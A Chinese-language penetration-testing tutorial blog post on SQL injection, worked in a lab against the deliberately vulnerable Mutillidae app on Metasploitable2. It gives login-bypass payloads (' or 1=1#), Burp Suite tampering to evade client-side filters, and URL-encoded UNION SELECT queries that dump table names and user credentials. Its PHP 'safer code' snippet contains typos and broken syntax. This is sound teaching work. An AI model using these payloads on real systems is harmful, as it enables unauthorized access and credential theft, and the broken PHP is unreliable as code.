渗透测试之SQL注入(下篇)

一、数据库基础知识

  1.什么是SQL?

  1)大多数网站使用数据库存储数据

  2)数据库database(DB)存储了用户名,密码等重要数据

  3)网站应用程序读取,更新和插入数据到数据库中

  4)和数据库进行交互就是SQL,使用SQL语句/注入语句。

  mysql是其中一种常用的数据库。

  我们部署的metasploitable2

  渗透测试之SQL注入(下篇)

 

 

       mysql -u 用户名 -h 目标地址     连接上数据库。

  2.mysql 基础语法

    1) 显示所有数据库

    show databases

    渗透测试之SQL注入(下篇)

 

 

    2)使用数据库

 

    use 数据库名;

 

    渗透测试之SQL注入(下篇)

 

 

    3)显示数据库的所有表

    show tables;

 

    渗透测试之SQL注入(下篇)

 

 

         4)选择accounts表的所有内容   *表示所有

    select * from accounts;    

 

 

        渗透测试之SQL注入(下篇)

 

 

 

   3.为什么SQL注入很危险?

  1)它们比较常见。

  2)它们通过数据库获得敏感数据。

  3)可以被使用去读取WWW root外部的本地文件。

  4)可以被使用作为管理员登入并进一步利用系统。

  5)被用作文件上传。

================================================

 4.在POST中发现SQL注入。

  1)使用'and', 'order by', 或者" ' "破环正常页面。

  2)测试文本框或参数时

  比如PHP页面 http://host/page.php?something=something

  举个栗子:打开Mutillidae 点击登入/注册页面,先随便注册一个账号:szs 密码:123456

  渗透测试之SQL注入(下篇)

 

 

   ps:如果注册用户失败,说metasploit数据库不存在,那么就在metasploitables中改下数据库名

  渗透测试之SQL注入(下篇)

 

  改为:dbname='owasp10',刷新页面重新注册就ok了。

 

   渗透测试之SQL注入(下篇)

 

  渗透测试之SQL注入(下篇)

 

 

    正常访问界面:输入szs   123456 登入成功。

    渗透测试之SQL注入(下篇)渗透测试之SQL注入(下篇)

 

 

 

      SQL语句 select * from where username='szs' and password='$Password'

      正常情况输入123456就登入了,如果存在SQL注入漏洞,我们就可以 输入123456’ and 1=1# 单引号闭合前面的语句 # 注释掉后面的所有语句

     SQL语句就被构造成select * from where username='szs' and password='123456' and 1=1#' 

      渗透测试之SQL注入(下篇)  发现正常登入。

 

 

      而输入123456'and 1=2#则会报错。

     渗透测试之SQL注入(下篇)

      说明构造命令被执行,存在SQL注入漏洞。

 

==========================================================================================

  

5.使用SQL注入绕过登录。

  使用用户名: admin  密码:1' or 1=1#     or表示一真即真,1=1显然是true。所以可以绕过密码。

 

 

 

 渗透测试之SQL注入(下篇)渗透测试之SQL注入(下篇)

 

 

 发现不需要输入密码就登入了管理员账号。

甚至我们可以连账号都不用输,直接在账号输入:     ’or 1=1#            密码随便因为后面都是无效语句被注释掉了。

渗透测试之SQL注入(下篇)  渗透测试之SQL注入(下篇)

 

 

 

 ====================================================================================================

 

   6.使用SQL注入绕过更安全的登录。

  上述讲到的例子是输入框完全没做安全防护的情况,现在我们将安全等级提高,比如输入使用过滤器,过滤特殊字符,该怎么绕过?

  这时我们可以使用Burpsuite开启代理获得http数据,这时的数据已经通过了过滤器,所以我们只需要通过bp对http包修改,转发就行了。打开bp ,开启代理,抓取http包

渗透测试之SQL注入(下篇)

 

 

渗透测试之SQL注入(下篇)

 

 

 发现抓到了包,并且输入的密码是123,显然密码是错误的,现在已经通过了过滤器,我们可以将值修改为 123‘or 1=1#绕过登入。

 

 

 渗透测试之SQL注入(下篇)

 

 

 然后转发,查看浏览器,成功登入。

渗透测试之SQL注入(下篇)

 

因为过滤是通过页面上执行的javascript代码在客户端进行的,我们抓取的包是在链路当中。

 

 

===================================================================================

  7.防止在登入页面中进行SQL注入-安全性。

  

<?php
  // case1:不安全的代码   $query = "SELECT * FROM accounts WHERE username='".$username
        "'AND password='".$password,
  // case2:更安全的代码
  $query = "SELECT * FROM accounts WHERE username='".
  $conn->rela_escape_string($username).
  "' AND password='"
  $conn->real_escape_string($password)."'";
?>

 

 

 

 ====================================================================================

   8.在GET中发现SQL注入。

  选择OWASP Top10 -->A1injection -->SQLi extact data -->user info

  创建一个用户szs  密码 123456

  渗透测试之SQL注入(下篇)

 

 

 登录:

渗透测试之SQL注入(下篇)

相当于执行了:Select * from accounts where username = '$USERNAME' and password='$PASSWORD'

 

url中使用GET方法,我们可以看到url存在username=   password=字样

http://192.168.164.129/mutillidae/index.php?page=user-info.php&username=szs&password=123456&user-info-php-submit-button=View+Account+Details

我们可以构造payload如下:

http://192.168.164.129/mutillidae/index.php?page=user-info.php&username=szs&password='or 1=1--+&user-info-php-submit-button=View+Account+Details

渗透测试之SQL注入(下篇)

 

 

 发现爆出所有用户名密码。 

1)判断注入点后

2)order by  或者 union select 1,2,3....判断有多少列。

渗透测试之SQL注入(下篇)

 

 

 渗透测试之SQL注入(下篇)

 

 

3)读取数据库信息

渗透测试之SQL注入(下篇)

 

 

 4)查找数据表

username=%27union%20select%201,table_name,null,null,5%20from%20information_schema.tables%20where%20table_schema=%27owasp10%27%23

 

 渗透测试之SQL注入(下篇)

 

 

 

5)查找表的列名 %27-- '      %20--空格    %23-- #

username=%27union%20select%201,column_name,null,null,5%20from%20information_schema.columns%20where%20table_name=%27accounts%27%23

 渗透测试之SQL注入(下篇)

 

 

 6)爆出数据,用户名和密码

username=%27union%20select%201,username,password,is_admin,5 from accounts%20

 渗透测试之SQL注入(下篇)

 

 

 =======================================================================================================

  9.发现和利用盲SQL注入。

  '1 and 1=1#

  '1 and 1=2#  

  通过回显信息,判断是否是SQL注入点.

 

 

 

 

 

 

 

 

 

 

 

 

http://192.168.164.129/mutillidae/index.php?page=user-info.php

上一篇:scp命令及ssh常用


下一篇:三代增强BADI总结